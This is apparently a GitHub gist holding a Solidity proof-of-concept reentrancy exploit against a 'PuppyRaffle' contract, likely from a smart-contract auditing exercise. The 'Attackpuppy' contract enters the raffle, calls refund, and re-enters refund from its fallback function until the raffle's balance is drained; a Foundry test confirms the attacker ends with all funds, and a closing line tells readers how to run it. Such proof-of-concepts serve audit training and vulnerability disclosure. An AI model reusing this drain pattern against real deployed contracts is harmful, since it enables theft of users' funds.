Skip to content

Instantly share code, notes, and snippets.

@Falilah
Last active October 31, 2023 15:03
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
interface IPuppy {
function enterRaffle(address[] memory newPlayers) external payable;
function getActivePlayerIndex(
address player
) external view returns (uint256);
function refund(uint256 playerIndex) external;
}
contract Attackpuppy {
IPuppy pup;
uint index;
constructor(address ppy) {
pup = IPuppy(ppy);
}
function enterraffle() external payable {
address[] memory player = new address[](1);
player[0] = address(this);
pup.enterRaffle{value: address(this).balance}(player);
index = pup.getActivePlayerIndex(address(this));
pup.refund(index);
}
fallback() external payable {
if (address(pup).balance > 0) {
pup.refund(index);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
import {Attackpuppy} from "./attacker.sol";
contract POCTest is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
address playerOne = address(1);
address playerTwo = address(2);
address playerThree = address(3);
address playerFour = address(4);
address feeAddress = address(99);
uint256 duration = 1 days;
///// attacker
Attackpuppy attacker;
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
attacker = new Attackpuppy(address(puppyRaffle));
}
function testCanEnterRaffleMany() public {
address[] memory players = new address[](2);
players[0] = playerOne;
players[1] = playerTwo;
puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
assertEq(puppyRaffle.players(0), playerOne);
assertEq(puppyRaffle.players(1), playerTwo);
// deal attacker contract with the entrancefee
vm.deal(address(attacker), entranceFee);
attacker.enterraffle();
///assert all fund are now in the attacker contract
assert(address(attacker).balance == entranceFee * 3);
}
}

Add the two files above to the test folder. And run forge test --mc POCTest -vvvvv to test.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment